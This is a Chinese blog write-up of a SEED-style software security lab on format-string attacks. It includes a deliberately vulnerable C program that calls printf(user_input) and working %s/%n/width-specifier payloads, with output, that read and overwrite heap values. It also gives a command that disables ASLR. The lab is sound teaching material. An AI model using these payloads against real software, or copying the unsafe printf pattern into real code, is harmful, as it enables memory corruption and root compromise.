美文网首页黑客往事
软件安全-格式化字符串攻击

软件安全-格式化字符串攻击

作者: ustc_sec | 来源:发表于2018-06-01 21:34 被阅读0次

探索C语言的可变长参数

C语言标准库中头文件stdarg.h索引的接口包含了一组能够遍历变长参数列表的宏。 主要包含下面几个:

  1. va_list 用来声明一个表示参数表中各个参数的变量
  2. va_start 初始化一个指针来指向变长参数列表的头一个变量
  3. va_arg每次调用时都会返回当前指针指向的变量,并将指针挪至下一个位置,va_arg根据第二个参数类型来判断偏移的距离
  4. va_end需要在函数最后调用,来进行一些清理工作

观察my_print函数是如何实现可变长参数的?

root@gt:/home/git/myRubbish/seedlab# ./a.out 
3.500000 
4.500000 5.500000 
root@gt:/home/git/myRubbish/seedlab# cat live5_func_arg.c 
#include <stdio.h>
#include <stdarg.h>
int myprint(int Narg,...)
{
    va_list ap;
    int i;
    va_start(ap,Narg);

    for(i = 0;i < Narg;i++)
    {
        //printf("%d ",va_arg(ap,int));
        printf("%f ",va_arg(ap,double));
    }
    printf("\n");
    va_end(ap);
}

int main()
{
    myprint(1,2,3.5);
    myprint(2,3,4.5,4,5.5);
    return 1;
}

printf库函数的底层实现是什么样的?

int __printf(const char* format,...)
{
    va_list arg;
    int done;

    va_start(arg,format);
    done = vfprintf(stdout,format,arg);
    va_end(arg);

    return done;
}

printf缺失参数会发生什么?

root@gt:/home/git/myRubbish/seedlab/live5# ./a.out 
ID:100 ,name:ailx10 ,age:-828258536 
root@gt:/home/git/myRubbish/seedlab/live5# cat arg_missmatch.c 
#include <stdio.h>
int main()
{
    int id = 100;
    int age = 25;
    char* name = "ailx10";

    printf("ID:%d ,name:%s ,age:%d \n",id,name);
    return 1;
}

格式化字符串漏洞程序

初始化实验环境: 关闭地址随机化:sudo sysctl -w kernel.randomize_va_space=0

认识常见的格式化字符:

常见的格式化字符
[04/14/2018 16:10] seed@ubuntu:~/Seed/format-string$ ./a.out 
hello
a=5
[04/14/2018 16:10] seed@ubuntu:~/Seed/format-string$ cat test.c 
#include <stdio.h>

int main()
{
    int a;
    printf("hello%n\n",&a);
    printf("a=%d\n",a);
    return 0;   
}

任务:

  1. 打印secret[1]的值
  2. 修改secret[1]的值
  3. 修改secret[1]的值为任意指定值
/* vul_prog.c */
#include<stdio.h>
#include<stdlib.h>
#define SECRET1 0x44
#define SECRET2 0x55
int main(int argc, char *argv[])
{
char user_input[100];
int *secret;
int int_input;
int a, b, c, d; /* other variables, not used here.*/
/* The secret value is stored on the heap */
secret = (int *) malloc(2*sizeof(int));
/* getting the secret */
secret[0] = SECRET1; secret[1] = SECRET2;
printf("The variable secret’s address is 0x%8x (on stack)\n",
(unsigned int)&secret);
printf("The variable secret’s value is 0x%8x (on heap)\n",
(unsigned int)secret);
printf("secret[0]’s address is 0x%8x (on heap)\n",
(unsigned int)&secret[0]);
printf("secret[1]’s address is 0x%8x (on heap)\n",
(unsigned int)&secret[1]);
printf("Please enter a decimal integer\n");
scanf("%d", &int_input); /* getting an input from user */
printf("Please enter a string\n");
scanf("%s", user_input); /* getting a string from user */
/* Vulnerable place */
printf(user_input);
printf("\n");
/* Verify whether your attack is successful */
printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]);
return 0;
}

1.编译运行获得如下结果:

[04/10/2018 22:39] seed@ubuntu:~/Seed$ ./a.out 
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a decimal integer
1
Please enter a string
%d,%d,%d,%d,%d,%d,%d
-1073745172,0,-1208008724,-1073745004,1,134524936,623666213
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x55

由结果可以推断: printf 函数栈的第5个参数是int_input的值

2.我们修改int_input的值为secret[1]的地址会发生什么? 运行获得如下结果:

[04/10/2018 22:39] seed@ubuntu:~/Seed$ ./a.out 
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%d,%d,%d,%d,%s
-1073745172,0,-1208008724,-1073745004,U
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x55

由结果可以推断:
字符U的ascii码为0x55,
完成任务1:打印secret[1]的值.

3.试一试%n ? 运行获得如下结果:

[04/10/2018 22:58] seed@ubuntu:~/Seed$ ./a.out 
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%x,%x,%x,%x,%n
bffff2ec,0,b7ff3fec,bffff394,
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x1d

由结果可以推断:
0x1d = 29,
(8+1)*3+(1+1) = 27 + 2 = 29.
修改secret[1]的值为29.完成任务2

4.试一试控制输出宽度? 运行获得如下结果:

[04/10/2018 23:06] seed@ubuntu:~/Seed$ ./a.out 
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%8x,%8x,%8x,%996u,%n
bffff2ec,       0,b7ff3fec,                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3221222292,
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x400

由结果可以推断:
0x400 = 1024,
(8+1)*3 + 996 = 1024.
修改secret[1]的值为指定的值1024.完成任务3.

升级难度

如果第一个scanf语句不存在,如何实现上面的3个任务?

堆栈结构

1.试一试多打印几个%08x ?

[04/10/2018 23:48] seed@ubuntu:~/Seed$ ./a.out 
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a string
%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,%08x,
bffff2ec,00000000,b7ff3fec,bffff394,00000000,0804b008,78383025,3830252c,30252c78,252c7838,
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x55

由上面的结果可知: 0804b008是secret的值,之后的78383025%08x的ascii码.
secret地址之后是我们的user_input的字符串的ascii码对应的十六进制.
根据这一信息,我们可以将目标地址作为user_input的一部分放入栈空间中.

2.试一试将secret[0]修改成1024 ?

[04/11/2018 00:58] seed@ubuntu:~/Seed$ ./a.out 
,%08x,%08x,%08x,%08x,%983u,%n
The string length is 33
[04/11/2018 00:59] seed@ubuntu:~/Seed$ ./vulp < mystring 
The variable secret’s address is 0xbffff2e8 (on stack)
The variable secret’s value is 0x 804b008 (on heap)
secret[0]’s address is 0x 804b008 (on heap)
secret[1]’s address is 0x 804b00c (on heap)
Please enter a string
�,bffff2ec,00000000,b7ff3fec,bffff394,                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      0,
The original secrets: 0x44 -- 0x55
The new secrets: 0x400 -- 0x55

格式化字符串攻击的应用

1.修改函数返回地址,实现缓冲区溢出攻击,获取root权限

2.修改函数返回地址,实现return to libc攻击,获取root权限

3.修改判断语句的变量值,改变程序的执行流,实现竞争漏洞攻击,获取root权限

相关文章

  • 软件安全-格式化字符串攻击

    探索C语言的可变长参数 C语言标准库中头文件stdarg.h索引的接口包含了一组能够遍历变长参数列表的宏。 主要包...

  • 软件安全-ShellShock攻击

    Shellshock Attack 概述认识环境变量&&bash1.普通shell变量和bash 从上述实验中我们...

  • Python基础(18) - 字符串格式化与模板字符串方法

    字符串格式化的各种方法 格式化字符串的方法 使用%格式化 模板字符串 字符串的format方法 fstring 什...

  • 亚信安全:每天上千条高危报警,企业该如何“破案”?

    科技云报道原创。 “勒索软件、恶意移动软件、APT攻击等网络攻击对企业用户的网络安全防护能力提出了全新挑战,但云安...

  • 安全测试

    什么是安全测试? 安全测试是一种软件测试,可发现软件应用程序中的漏洞,威胁,风险并防止来自入侵者的恶意攻击。 安全...

  • 简单的宏定义(不定期补充)

    控制台输出 RGB色值 格式化字符串 格式化字符串 输出点、坐标、Rect 格式化数字

  • python基础知识(3)

    python字符串 python转义字符 python字符串运算符 python字符串格式化 python格式化操...

  • 安全测试简介

    什么是安全测试? 安全测试是一种软件测试,它可以发现软件应用程序中的漏洞、威胁和风险,防止入侵者的恶意攻击。安全测...

  • 字符串

    字符串的转义字符 字符串格式化 字符串格式化使用操作符百分号实现 字符串格式化符号 对字符串的下面这两个部分操作:...

  • python语法入门二

    元组 字符串 格式化 序列 元组tuple:不可变 字符串:不可变 格式化 序列

网友评论

    本文标题:软件安全-格式化字符串攻击

    本文链接:https://www.haomeiwen.com/subject/clxlsftx.html